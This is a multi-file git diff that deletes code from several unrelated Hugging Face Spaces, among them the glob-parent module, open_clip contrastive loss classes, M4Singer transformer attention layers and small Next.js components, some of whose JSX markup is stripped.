instances[:] + extra_instances - return [d.color for d in instances] diff --git a/spaces/zhang-wei-jian/docker/node_modules/glob-parent/index.js b/spaces/zhang-wei-jian/docker/node_modules/glob-parent/index.js deleted file mode 100644 index 09e257ea306cd41c63cc1a59a86653d098bda0f9..0000000000000000000000000000000000000000 --- a/spaces/zhang-wei-jian/docker/node_modules/glob-parent/index.js +++ /dev/null @@ -1,42 +0,0 @@ -'use strict'; - -var isGlob = require('is-glob'); -var pathPosixDirname = require('path').posix.dirname; -var isWin32 = require('os').platform() === 'win32'; - -var slash = '/'; -var backslash = /\\/g; -var enclosure = /[\{\[].*[\}\]]$/; -var globby = /(^|[^\\])([\{\[]|\([^\)]+$)/; -var escaped = /\\([\!\*\?\|\[\]\(\)\{\}])/g; - -/** - * @param {string} str - * @param {Object} opts - * @param {boolean} [opts.flipBackslashes=true] - * @returns {string} - */ -module.exports = function globParent(str, opts) { - var options = Object.assign({ flipBackslashes: true }, opts); - - // flip windows path separators - if (options.flipBackslashes && isWin32 && str.indexOf(slash) < 0) { - str = str.replace(backslash, slash); - } - - // special case for strings ending in enclosure containing path separator - if (enclosure.test(str)) { - str += slash; - } - - // preserves full path in case of trailing path separator - str += 'a'; - - // remove path parts that are globby - do { - str = pathPosixDirname(str); - } while (isGlob(str) || globby.test(str)); - - // remove escape chars and return result - return str.replace(escaped, '$1'); -}; diff --git a/spaces/zhangyd/bingo/src/components/tailwind-indicator.tsx b/spaces/zhangyd/bingo/src/components/tailwind-indicator.tsx deleted file mode 100644 index f2a1291213dd67055fcebe67fab574c8441338df..0000000000000000000000000000000000000000 --- a/spaces/zhangyd/bingo/src/components/tailwind-indicator.tsx +++ /dev/null @@ -1,14 +0,0 @@ -export function TailwindIndicator() { - if (process.env.NODE_ENV === 'production') return null - - return ( -
                -
                xs
                -
                sm
                -
                md
                -
                lg
                -
                xl
                -
                2xl
                -
                - ) -} diff --git a/spaces/zideliu/styledrop/open_clip/loss.py b/spaces/zideliu/styledrop/open_clip/loss.py deleted file mode 100644 index 4fbf61dacf8d16c22f9978459257d527408196b8..0000000000000000000000000000000000000000 --- a/spaces/zideliu/styledrop/open_clip/loss.py +++ /dev/null @@ -1,212 +0,0 @@ -import torch -import torch.nn as nn -from torch.nn import functional as F - -try: - import torch.distributed.nn - from torch import distributed as dist - - has_distributed = True -except ImportError: - has_distributed = False - -try: - import horovod.torch as hvd -except ImportError: - hvd = None - - -def gather_features( - image_features, - text_features, - local_loss=False, - gather_with_grad=False, - rank=0, - world_size=1, - use_horovod=False -): - assert has_distributed, 'torch.distributed did not import correctly, please use a PyTorch version with support.' - if use_horovod: - assert hvd is not None, 'Please install horovod' - if gather_with_grad: - all_image_features = hvd.allgather(image_features) - all_text_features = hvd.allgather(text_features) - else: - with torch.no_grad(): - all_image_features = hvd.allgather(image_features) - all_text_features = hvd.allgather(text_features) - if not local_loss: - # ensure grads for local rank when all_* features don't have a gradient - gathered_image_features = list(all_image_features.chunk(world_size, dim=0)) - gathered_text_features = list(all_text_features.chunk(world_size, dim=0)) - gathered_image_features[rank] = image_features - gathered_text_features[rank] = text_features - all_image_features = torch.cat(gathered_image_features, dim=0) - all_text_features = torch.cat(gathered_text_features, dim=0) - else: - # We gather tensors from all gpus - if gather_with_grad: - all_image_features = torch.cat(torch.distributed.nn.all_gather(image_features), dim=0) - all_text_features = torch.cat(torch.distributed.nn.all_gather(text_features), dim=0) - else: - gathered_image_features = [torch.zeros_like(image_features) for _ in range(world_size)] - gathered_text_features = [torch.zeros_like(text_features) for _ in range(world_size)] - dist.all_gather(gathered_image_features, image_features) - dist.all_gather(gathered_text_features, text_features) - if not local_loss: - # ensure grads for local rank when all_* features don't have a gradient - gathered_image_features[rank] = image_features - gathered_text_features[rank] = text_features - all_image_features = torch.cat(gathered_image_features, dim=0) - all_text_features = torch.cat(gathered_text_features, dim=0) - - return all_image_features, all_text_features - - -class ClipLoss(nn.Module): - - def __init__( - self, - local_loss=False, - gather_with_grad=False, - cache_labels=False, - rank=0, - world_size=1, - use_horovod=False, - ): - super().__init__() - self.local_loss = local_loss - self.gather_with_grad = gather_with_grad - self.cache_labels = cache_labels - self.rank = rank - self.world_size = world_size - self.use_horovod = use_horovod - - # cache state - self.prev_num_logits = 0 - self.labels = {} - - def get_ground_truth(self, device, num_logits) -> torch.Tensor: - # calculated ground-truth and cache if enabled - if self.prev_num_logits != num_logits or device not in self.labels: - labels = torch.arange(num_logits, device=device, dtype=torch.long) - if self.world_size > 1 and self.local_loss: - labels = labels + num_logits * self.rank - if self.cache_labels: - self.labels[device] = labels - self.prev_num_logits = num_logits - else: - labels = self.labels[device] - return labels - - def get_logits(self, image_features, text_features, logit_scale): - if self.world_size > 1: - all_image_features, all_text_features = gather_features( - image_features, text_features, - self.local_loss, self.gather_with_grad, self.rank, self.world_size, self.use_horovod) - - if self.local_loss: - logits_per_image = logit_scale * image_features @ all_text_features.T - logits_per_text = logit_scale * text_features @ all_image_features.T - else: - logits_per_image = logit_scale * all_image_features @ all_text_features.T - logits_per_text = logits_per_image.T - else: - logits_per_image = logit_scale * image_features @ text_features.T - logits_per_text = logit_scale * text_features @ image_features.T - - return logits_per_image, logits_per_text - - def forward(self, image_features, text_features, logit_scale, output_dict=False): - device = image_features.device - logits_per_image, logits_per_text = self.get_logits(image_features, text_features, logit_scale) - - labels = self.get_ground_truth(device, logits_per_image.shape[0]) - - total_loss = ( - F.cross_entropy(logits_per_image, labels) + - F.cross_entropy(logits_per_text, labels) - ) / 2 - - return {"contrastive_loss": total_loss} if output_dict else total_loss - - -class CoCaLoss(ClipLoss): - def __init__( - self, - caption_loss_weight, - clip_loss_weight, - pad_id=0, # pad_token for open_clip custom tokenizer - local_loss=False, - gather_with_grad=False, - cache_labels=False, - rank=0, - world_size=1, - use_horovod=False, - ): - super().__init__( - local_loss=local_loss, - gather_with_grad=gather_with_grad, - cache_labels=cache_labels, - rank=rank, - world_size=world_size, - use_horovod=use_horovod - ) - - self.clip_loss_weight = clip_loss_weight - self.caption_loss_weight = caption_loss_weight - self.caption_loss = nn.CrossEntropyLoss(ignore_index=pad_id) - - def forward(self, image_features, text_features, logits, labels, logit_scale, output_dict=False): - clip_loss = super().forward(image_features, text_features, logit_scale) - clip_loss = self.clip_loss_weight * clip_loss - - caption_loss = self.caption_loss( - logits.permute(0, 2, 1), - labels, - ) - caption_loss = caption_loss * self.caption_loss_weight - - if output_dict: - return {"contrastive_loss": clip_loss, "caption_loss": caption_loss} - - return clip_loss, caption_loss - - -class DistillClipLoss(ClipLoss): - - def dist_loss(self, teacher_logits, student_logits): - return -(teacher_logits.softmax(dim=1) * student_logits.log_softmax(dim=1)).sum(dim=1).mean(dim=0) - - def forward( - self, - image_features, - text_features, - logit_scale, - dist_image_features, - dist_text_features, - dist_logit_scale, - output_dict=False, - ): - logits_per_image, logits_per_text = \ - self.get_logits(image_features, text_features, logit_scale) - - dist_logits_per_image, dist_logits_per_text = \ - self.get_logits(dist_image_features, dist_text_features, dist_logit_scale) - - labels = self.get_ground_truth(image_features.device, logits_per_image.shape[0]) - - contrastive_loss = ( - F.cross_entropy(logits_per_image, labels) + - F.cross_entropy(logits_per_text, labels) - ) / 2 - - distill_loss = ( - self.dist_loss(dist_logits_per_image, logits_per_image) + - self.dist_loss(dist_logits_per_text, logits_per_text) - ) / 2 - - if output_dict: - return {"contrastive_loss": contrastive_loss, "distill_loss": distill_loss} - - return contrastive_loss, distill_loss diff --git a/spaces/zlc99/M4Singer/modules/commons/common_layers.py b/spaces/zlc99/M4Singer/modules/commons/common_layers.py deleted file mode 100644 index 8701c5ba5bb519ade02864da34115911d7eb9c7e..0000000000000000000000000000000000000000 --- a/spaces/zlc99/M4Singer/modules/commons/common_layers.py +++ /dev/null @@ -1,668 +0,0 @@ -import math -import torch -from torch import nn -from torch.nn import Parameter -import torch.onnx.operators -import torch.nn.functional as F -import utils - - -class Reshape(nn.Module): - def __init__(self, *args): - super(Reshape, self).__init__() - self.shape = args - - def forward(self, x): - return x.view(self.shape) - - -class Permute(nn.Module): - def __init__(self, *args): - super(Permute, self).__init__() - self.args = args - - def forward(self, x): - return x.permute(self.args) - - -class LinearNorm(torch.nn.Module): - def __init__(self, in_dim, out_dim, bias=True, w_init_gain='linear'): - super(LinearNorm, self).__init__() - self.linear_layer = torch.nn.Linear(in_dim, out_dim, bias=bias) - - torch.nn.init.xavier_uniform_( - self.linear_layer.weight, - gain=torch.nn.init.calculate_gain(w_init_gain)) - - def forward(self, x): - return self.linear_layer(x) - - -class ConvNorm(torch.nn.Module): - def __init__(self, in_channels, out_channels, kernel_size=1, stride=1, - padding=None, dilation=1, bias=True, w_init_gain='linear'): - super(ConvNorm, self).__init__() - if padding is None: - assert (kernel_size % 2 == 1) - padding = int(dilation * (kernel_size - 1) / 2) - - self.conv = torch.nn.Conv1d(in_channels, out_channels, - kernel_size=kernel_size, stride=stride, - padding=padding, dilation=dilation, - bias=bias) - - torch.nn.init.xavier_uniform_( - self.conv.weight, gain=torch.nn.init.calculate_gain(w_init_gain)) - - def forward(self, signal): - conv_signal = self.conv(signal) - return conv_signal - - -def Embedding(num_embeddings, embedding_dim, padding_idx=None): - m = nn.Embedding(num_embeddings, embedding_dim, padding_idx=padding_idx) - nn.init.normal_(m.weight, mean=0, std=embedding_dim ** -0.5) - if padding_idx is not None: - nn.init.constant_(m.weight[padding_idx], 0) - return m - - -def LayerNorm(normalized_shape, eps=1e-5, elementwise_affine=True, export=False): - if not export and torch.cuda.is_available(): - try: - from apex.normalization import FusedLayerNorm - return FusedLayerNorm(normalized_shape, eps, elementwise_affine) - except ImportError: - pass - return torch.nn.LayerNorm(normalized_shape, eps, elementwise_affine) - - -def Linear(in_features, out_features, bias=True): - m = nn.Linear(in_features, out_features, bias) - nn.init.xavier_uniform_(m.weight) - if bias: - nn.init.constant_(m.bias, 0.) - return m - - -class SinusoidalPositionalEmbedding(nn.Module): - """This module produces sinusoidal positional embeddings of any length. - - Padding symbols are ignored. - """ - - def __init__(self, embedding_dim, padding_idx, init_size=1024): - super().__init__() - self.embedding_dim = embedding_dim - self.padding_idx = padding_idx - self.weights = SinusoidalPositionalEmbedding.get_embedding( - init_size, - embedding_dim, - padding_idx, - ) - self.register_buffer('_float_tensor', torch.FloatTensor(1)) - - @staticmethod - def get_embedding(num_embeddings, embedding_dim, padding_idx=None): - """Build sinusoidal embeddings. - - This matches the implementation in tensor2tensor, but differs slightly - from the description in Section 3.5 of "Attention Is All You Need". - """ - half_dim = embedding_dim // 2 - emb = math.log(10000) / (half_dim - 1) - emb = torch.exp(torch.arange(half_dim, dtype=torch.float) * -emb) - emb = torch.arange(num_embeddings, dtype=torch.float).unsqueeze(1) * emb.unsqueeze(0) - emb = torch.cat([torch.sin(emb), torch.cos(emb)], dim=1).view(num_embeddings, -1) - if embedding_dim % 2 == 1: - # zero pad - emb = torch.cat([emb, torch.zeros(num_embeddings, 1)], dim=1) - if padding_idx is not None: - emb[padding_idx, :] = 0 - return emb - - def forward(self, input, incremental_state=None, timestep=None, positions=None, **kwargs): - """Input is expected to be of size [bsz x seqlen].""" - bsz, seq_len = input.shape[:2] - max_pos = self.padding_idx + 1 + seq_len - if self.weights is None or max_pos > self.weights.size(0): - # recompute/expand embeddings if needed - self.weights = SinusoidalPositionalEmbedding.get_embedding( - max_pos, - self.embedding_dim, - self.padding_idx, - ) - self.weights = self.weights.to(self._float_tensor) - - if incremental_state is not None: - # positions is the same for every token when decoding a single step - pos = timestep.view(-1)[0] + 1 if timestep is not None else seq_len - return self.weights[self.padding_idx + pos, :].expand(bsz, 1, -1) - - positions = utils.make_positions(input, self.padding_idx) if positions is None else positions - return self.weights.index_select(0, positions.view(-1)).view(bsz, seq_len, -1).detach() - - def max_positions(self): - """Maximum number of supported positions.""" - return int(1e5) # an arbitrary large number - - -class ConvTBC(nn.Module): - def __init__(self, in_channels, out_channels, kernel_size, padding=0): - super(ConvTBC, self).__init__() - self.in_channels = in_channels - self.out_channels = out_channels - self.kernel_size = kernel_size - self.padding = padding - - self.weight = torch.nn.Parameter(torch.Tensor( - self.kernel_size, in_channels, out_channels)) - self.bias = torch.nn.Parameter(torch.Tensor(out_channels)) - - def forward(self, input): - return torch.conv_tbc(input.contiguous(), self.weight, self.bias, self.padding) - - -class MultiheadAttention(nn.Module): - def __init__(self, embed_dim, num_heads, kdim=None, vdim=None, dropout=0., bias=True, - add_bias_kv=False, add_zero_attn=False, self_attention=False, - encoder_decoder_attention=False): - super().__init__() - self.embed_dim = embed_dim - self.kdim = kdim if kdim is not None else embed_dim - self.vdim = vdim if vdim is not None else embed_dim - self.qkv_same_dim = self.kdim == embed_dim and self.vdim == embed_dim - - self.num_heads = num_heads - self.dropout = dropout - self.head_dim = embed_dim // num_heads - assert self.head_dim * num_heads == self.embed_dim, "embed_dim must be divisible by num_heads" - self.scaling = self.head_dim ** -0.5 - - self.self_attention = self_attention - self.encoder_decoder_attention = encoder_decoder_attention - - assert not self.self_attention or self.qkv_same_dim, 'Self-attention requires query, key and ' \ - 'value to be of the same size' - - if self.qkv_same_dim: - self.in_proj_weight = Parameter(torch.Tensor(3 * embed_dim, embed_dim)) - else: - self.k_proj_weight = Parameter(torch.Tensor(embed_dim, self.kdim)) - self.v_proj_weight = Parameter(torch.Tensor(embed_dim, self.vdim)) - self.q_proj_weight = Parameter(torch.Tensor(embed_dim, embed_dim)) - - if bias: - self.in_proj_bias = Parameter(torch.Tensor(3 * embed_dim)) - else: - self.register_parameter('in_proj_bias', None) - - self.out_proj = nn.Linear(embed_dim, embed_dim, bias=bias) - - if add_bias_kv: - self.bias_k = Parameter(torch.Tensor(1, 1, embed_dim)) - self.bias_v = Parameter(torch.Tensor(1, 1, embed_dim)) - else: - self.bias_k = self.bias_v = None - - self.add_zero_attn = add_zero_attn - - self.reset_parameters() - - self.enable_torch_version = False - if hasattr(F, "multi_head_attention_forward"): - self.enable_torch_version = True - else: - self.enable_torch_version = False - self.last_attn_probs = None - - def reset_parameters(self): - if self.qkv_same_dim: - nn.init.xavier_uniform_(self.in_proj_weight) - else: - nn.init.xavier_uniform_(self.k_proj_weight) - nn.init.xavier_uniform_(self.v_proj_weight) - nn.init.xavier_uniform_(self.q_proj_weight) - - nn.init.xavier_uniform_(self.out_proj.weight) - if self.in_proj_bias is not None: - nn.init.constant_(self.in_proj_bias, 0.) - nn.init.constant_(self.out_proj.bias, 0.) - if self.bias_k is not None: - nn.init.xavier_normal_(self.bias_k) - if self.bias_v is not None: - nn.init.xavier_normal_(self.bias_v) - - def forward( - self, - query, key, value, - key_padding_mask=None, - incremental_state=None, - need_weights=True, - static_kv=False, - attn_mask=None, - before_softmax=False, - need_head_weights=False, - enc_dec_attn_constraint_mask=None, - reset_attn_weight=None - ): - """Input shape: Time x Batch x Channel - - Args: - key_padding_mask (ByteTensor, optional): mask to exclude - keys that are pads, of shape `(batch, src_len)`, where - padding elements are indicated by 1s. - need_weights (bool, optional): return the attention weights, - averaged over heads (default: False). - attn_mask (ByteTensor, optional): typically used to - implement causal attention, where the mask prevents the - attention from looking forward in time (default: None). - before_softmax (bool, optional): return the raw attention - weights and values before the attention softmax. - need_head_weights (bool, optional): return the attention - weights for each head. Implies *need_weights*. Default: - return the average attention weights over all heads. - """ - if need_head_weights: - need_weights = True - - tgt_len, bsz, embed_dim = query.size() - assert embed_dim == self.embed_dim - assert list(query.size()) == [tgt_len, bsz, embed_dim] - - if self.enable_torch_version and incremental_state is None and not static_kv and reset_attn_weight is None: - if self.qkv_same_dim: - return F.multi_head_attention_forward(query, key, value, - self.embed_dim, self.num_heads, - self.in_proj_weight, - self.in_proj_bias, self.bias_k, self.bias_v, - self.add_zero_attn, self.dropout, - self.out_proj.weight, self.out_proj.bias, - self.training, key_padding_mask, need_weights, - attn_mask) - else: - return F.multi_head_attention_forward(query, key, value, - self.embed_dim, self.num_heads, - torch.empty([0]), - self.in_proj_bias, self.bias_k, self.bias_v, - self.add_zero_attn, self.dropout, - self.out_proj.weight, self.out_proj.bias, - self.training, key_padding_mask, need_weights, - attn_mask, use_separate_proj_weight=True, - q_proj_weight=self.q_proj_weight, - k_proj_weight=self.k_proj_weight, - v_proj_weight=self.v_proj_weight) - - if incremental_state is not None: - print('Not implemented error.') - exit() - else: - saved_state = None - - if self.self_attention: - # self-attention - q, k, v = self.in_proj_qkv(query) - elif self.encoder_decoder_attention: - # encoder-decoder attention - q = self.in_proj_q(query) - if key is None: - assert value is None - k = v = None - else: - k = self.in_proj_k(key) - v = self.in_proj_v(key) - - else: - q = self.in_proj_q(query) - k = self.in_proj_k(key) - v = self.in_proj_v(value) - q *= self.scaling - - if self.bias_k is not None: - assert self.bias_v is not None - k = torch.cat([k, self.bias_k.repeat(1, bsz, 1)]) - v = torch.cat([v, self.bias_v.repeat(1, bsz, 1)]) - if attn_mask is not None: - attn_mask = torch.cat([attn_mask, attn_mask.new_zeros(attn_mask.size(0), 1)], dim=1) - if key_padding_mask is not None: - key_padding_mask = torch.cat( - [key_padding_mask, key_padding_mask.new_zeros(key_padding_mask.size(0), 1)], dim=1) - - q = q.contiguous().view(tgt_len, bsz * self.num_heads, self.head_dim).transpose(0, 1) - if k is not None: - k = k.contiguous().view(-1, bsz * self.num_heads, self.head_dim).transpose(0, 1) - if v is not None: - v = v.contiguous().view(-1, bsz * self.num_heads, self.head_dim).transpose(0, 1) - - if saved_state is not None: - print('Not implemented error.') - exit() - - src_len = k.size(1) - - # This is part of a workaround to get around fork/join parallelism - # not supporting Optional types. - if key_padding_mask is not None and key_padding_mask.shape == torch.Size([]): - key_padding_mask = None - - if key_padding_mask is not None: - assert key_padding_mask.size(0) == bsz - assert key_padding_mask.size(1) == src_len - - if self.add_zero_attn: - src_len += 1 - k = torch.cat([k, k.new_zeros((k.size(0), 1) + k.size()[2:])], dim=1) - v = torch.cat([v, v.new_zeros((v.size(0), 1) + v.size()[2:])], dim=1) - if attn_mask is not None: - attn_mask = torch.cat([attn_mask, attn_mask.new_zeros(attn_mask.size(0), 1)], dim=1) - if key_padding_mask is not None: - key_padding_mask = torch.cat( - [key_padding_mask, torch.zeros(key_padding_mask.size(0), 1).type_as(key_padding_mask)], dim=1) - - attn_weights = torch.bmm(q, k.transpose(1, 2)) - attn_weights = self.apply_sparse_mask(attn_weights, tgt_len, src_len, bsz) - - assert list(attn_weights.size()) == [bsz * self.num_heads, tgt_len, src_len] - - if attn_mask is not None: - if len(attn_mask.shape) == 2: - attn_mask = attn_mask.unsqueeze(0) - elif len(attn_mask.shape) == 3: - attn_mask = attn_mask[:, None].repeat([1, self.num_heads, 1, 1]).reshape( - bsz * self.num_heads, tgt_len, src_len) - attn_weights = attn_weights + attn_mask - - if enc_dec_attn_constraint_mask is not None: # bs x head x L_kv - attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len) - attn_weights = attn_weights.masked_fill( - enc_dec_attn_constraint_mask.unsqueeze(2).bool(), - -1e9, - ) - attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len) - - if key_padding_mask is not None: - # don't attend to padding symbols - attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len) - attn_weights = attn_weights.masked_fill( - key_padding_mask.unsqueeze(1).unsqueeze(2), - -1e9, - ) - attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len) - - attn_logits = attn_weights.view(bsz, self.num_heads, tgt_len, src_len) - - if before_softmax: - return attn_weights, v - - attn_weights_float = utils.softmax(attn_weights, dim=-1) - attn_weights = attn_weights_float.type_as(attn_weights) - attn_probs = F.dropout(attn_weights_float.type_as(attn_weights), p=self.dropout, training=self.training) - - if reset_attn_weight is not None: - if reset_attn_weight: - self.last_attn_probs = attn_probs.detach() - else: - assert self.last_attn_probs is not None - attn_probs = self.last_attn_probs - attn = torch.bmm(attn_probs, v) - assert list(attn.size()) == [bsz * self.num_heads, tgt_len, self.head_dim] - attn = attn.transpose(0, 1).contiguous().view(tgt_len, bsz, embed_dim) - attn = self.out_proj(attn) - - if need_weights: - attn_weights = attn_weights_float.view(bsz, self.num_heads, tgt_len, src_len).transpose(1, 0) - if not need_head_weights: - # average attention weights over heads - attn_weights = attn_weights.mean(dim=0) - else: - attn_weights = None - - return attn, (attn_weights, attn_logits) - - def in_proj_qkv(self, query): - return self._in_proj(query).chunk(3, dim=-1) - - def in_proj_q(self, query): - if self.qkv_same_dim: - return self._in_proj(query, end=self.embed_dim) - else: - bias = self.in_proj_bias - if bias is not None: - bias = bias[:self.embed_dim] - return F.linear(query, self.q_proj_weight, bias) - - def in_proj_k(self, key): - if self.qkv_same_dim: - return self._in_proj(key, start=self.embed_dim, end=2 * self.embed_dim) - else: - weight = self.k_proj_weight - bias = self.in_proj_bias - if bias is not None: - bias = bias[self.embed_dim:2 * self.embed_dim] - return F.linear(key, weight, bias) - - def in_proj_v(self, value): - if self.qkv_same_dim: - return self._in_proj(value, start=2 * self.embed_dim) - else: - weight = self.v_proj_weight - bias = self.in_proj_bias - if bias is not None: - bias = bias[2 * self.embed_dim:] - return F.linear(value, weight, bias) - - def _in_proj(self, input, start=0, end=None): - weight = self.in_proj_weight - bias = self.in_proj_bias - weight = weight[start:end, :] - if bias is not None: - bias = bias[start:end] - return F.linear(input, weight, bias) - - - def apply_sparse_mask(self, attn_weights, tgt_len, src_len, bsz): - return attn_weights - - -class Swish(torch.autograd.Function): - @staticmethod - def forward(ctx, i): - result = i * torch.sigmoid(i) - ctx.save_for_backward(i) - return result - - @staticmethod - def backward(ctx, grad_output): - i = ctx.saved_variables[0] - sigmoid_i = torch.sigmoid(i) - return grad_output * (sigmoid_i * (1 + i * (1 - sigmoid_i))) - - -class CustomSwish(nn.Module): - def forward(self, input_tensor): - return Swish.apply(input_tensor) - - -class TransformerFFNLayer(nn.Module): - def __init__(self, hidden_size, filter_size, padding="SAME", kernel_size=1, dropout=0., act='gelu'): - super().__init__() - self.kernel_size = kernel_size - self.dropout = dropout - self.act = act - if padding == 'SAME': - self.ffn_1 = nn.Conv1d(hidden_size, filter_size, kernel_size, padding=kernel_size // 2) - elif padding == 'LEFT': - self.ffn_1 = nn.Sequential( - nn.ConstantPad1d((kernel_size - 1, 0), 0.0), - nn.Conv1d(hidden_size, filter_size, kernel_size) - ) - self.ffn_2 = Linear(filter_size, hidden_size) - if self.act == 'swish': - self.swish_fn = CustomSwish() - - def forward(self, x, incremental_state=None): - # x: T x B x C - if incremental_state is not None: - assert incremental_state is None, 'Nar-generation does not allow this.' - exit(1) - - x = self.ffn_1(x.permute(1, 2, 0)).permute(2, 0, 1) - x = x * self.kernel_size ** -0.5 - - if incremental_state is not None: - x = x[-1:] - if self.act == 'gelu': - x = F.gelu(x) - if self.act == 'relu': - x = F.relu(x) - if self.act == 'swish': - x = self.swish_fn(x) - x = F.dropout(x, self.dropout, training=self.training) - x = self.ffn_2(x) - return x - - -class BatchNorm1dTBC(nn.Module): - def __init__(self, c): - super(BatchNorm1dTBC, self).__init__() - self.bn = nn.BatchNorm1d(c) - - def forward(self, x): - """ - - :param x: [T, B, C] - :return: [T, B, C] - """ - x = x.permute(1, 2, 0) # [B, C, T] - x = self.bn(x) # [B, C, T] - x = x.permute(2, 0, 1) # [T, B, C] - return x - - -class EncSALayer(nn.Module): - def __init__(self, c, num_heads, dropout, attention_dropout=0.1, - relu_dropout=0.1, kernel_size=9, padding='SAME', norm='ln', act='gelu'): - super().__init__() - self.c = c - self.dropout = dropout - self.num_heads = num_heads - if num_heads > 0: - if norm == 'ln': - self.layer_norm1 = LayerNorm(c) - elif norm == 'bn': - self.layer_norm1 = BatchNorm1dTBC(c) - self.self_attn = MultiheadAttention( - self.c, num_heads, self_attention=True, dropout=attention_dropout, bias=False, - ) - if norm == 'ln': - self.layer_norm2 = LayerNorm(c) - elif norm == 'bn': - self.layer_norm2 = BatchNorm1dTBC(c) - self.ffn = TransformerFFNLayer( - c, 4 * c, kernel_size=kernel_size, dropout=relu_dropout, padding=padding, act=act) - - def forward(self, x, encoder_padding_mask=None, **kwargs): - layer_norm_training = kwargs.get('layer_norm_training', None) - if layer_norm_training is not None: - self.layer_norm1.training = layer_norm_training - self.layer_norm2.training = layer_norm_training - if self.num_heads > 0: - residual = x - x = self.layer_norm1(x) - x, _, = self.self_attn( - query=x, - key=x, - value=x, - key_padding_mask=encoder_padding_mask - ) - x = F.dropout(x, self.dropout, training=self.training) - x = residual + x - x = x * (1 - encoder_padding_mask.float()).transpose(0, 1)[..., None] - - residual = x - x = self.layer_norm2(x) - x = self.ffn(x) - x = F.dropout(x, self.dropout, training=self.training) - x = residual + x - x = x * (1 - encoder_padding_mask.float()).transpose(0, 1)[..., None] - return x - - -class DecSALayer(nn.Module): - def __init__(self, c, num_heads, dropout, attention_dropout=0.1, relu_dropout=0.1, kernel_size=9, act='gelu'): - super().__init__() - self.c = c - self.dropout = dropout - self.layer_norm1 = LayerNorm(c) - self.self_attn = MultiheadAttention( - c, num_heads, self_attention=True, dropout=attention_dropout, bias=False - ) - self.layer_norm2 = LayerNorm(c) - self.encoder_attn = MultiheadAttention( - c, num_heads, encoder_decoder_attention=True, dropout=attention_dropout, bias=False, - ) - self.layer_norm3 = LayerNorm(c) - self.ffn = TransformerFFNLayer( - c, 4 * c, padding='LEFT', kernel_size=kernel_size, dropout=relu_dropout, act=act) - - def forward( - self, - x, - encoder_out=None, - encoder_padding_mask=None, - incremental_state=None, - self_attn_mask=None, - self_attn_padding_mask=None, - attn_out=None, - reset_attn_weight=None, - **kwargs, - ): - layer_norm_training = kwargs.get('layer_norm_training', None) - if layer_norm_training is not None: - self.layer_norm1.training = layer_norm_training - self.layer_norm2.training = layer_norm_training - self.layer_norm3.training = layer_norm_training - residual = x - x = self.layer_norm1(x) - x, _ = self.self_attn( - query=x, - key=x, - value=x, - key_padding_mask=self_attn_padding_mask, - incremental_state=incremental_state, - attn_mask=self_attn_mask - ) - x = F.dropout(x, self.dropout, training=self.training) - x = residual + x - - residual = x - x = self.layer_norm2(x) - if encoder_out is not None: - x, attn = self.encoder_attn( - query=x, - key=encoder_out, - value=encoder_out, - key_padding_mask=encoder_padding_mask, - incremental_state=incremental_state, - static_kv=True, - enc_dec_attn_constraint_mask=None, #utils.get_incremental_state(self, incremental_state, 'enc_dec_attn_constraint_mask'), - reset_attn_weight=reset_attn_weight - ) - attn_logits = attn[1] - else: - assert attn_out is not None - x = self.encoder_attn.in_proj_v(attn_out.transpose(0, 1)) - attn_logits = None - x = F.dropout(x, self.dropout, training=self.training) - x = residual + x - - residual = x - x = self.layer_norm3(x) - x = self.ffn(x, incremental_state=incremental_state) - x = F.dropout(x, self.dropout, training=self.training) - x = residual + x - # if len(attn_logits.size()) > 3: - # indices = attn_logits.softmax(-1).max(-1).values.sum(-1).argmax(-1) - # attn_logits = attn_logits.gather(1, - # indices[:, None, None, None].repeat(1, 1, attn_logits.size(-2), attn_logits.size(-1))).squeeze(1) - return x, attn_logits diff --git a/spaces/zxy666/bingo-chatai666/src/components/providers.tsx b/spaces/zxy666/bingo-chatai666/src/components/providers.tsx deleted file mode 100644 index 892226412d80fe0b05211911b9e245cd22876460..0000000000000000000000000000000000000000 --- a/spaces/zxy666/bingo-chatai666/src/components/providers.tsx +++ /dev/null @@ -1,15 +0,0 @@ -'use client' - -import * as React from 'react' -import { ThemeProvider as NextThemesProvider } from 'next-themes' -import { ThemeProviderProps } from 'next-themes/dist/types' - -import { TooltipProvider } from '@/components/ui/tooltip' - -export function Providers({ children, ...props }: ThemeProviderProps) { - return ( - - {children} - - ) -}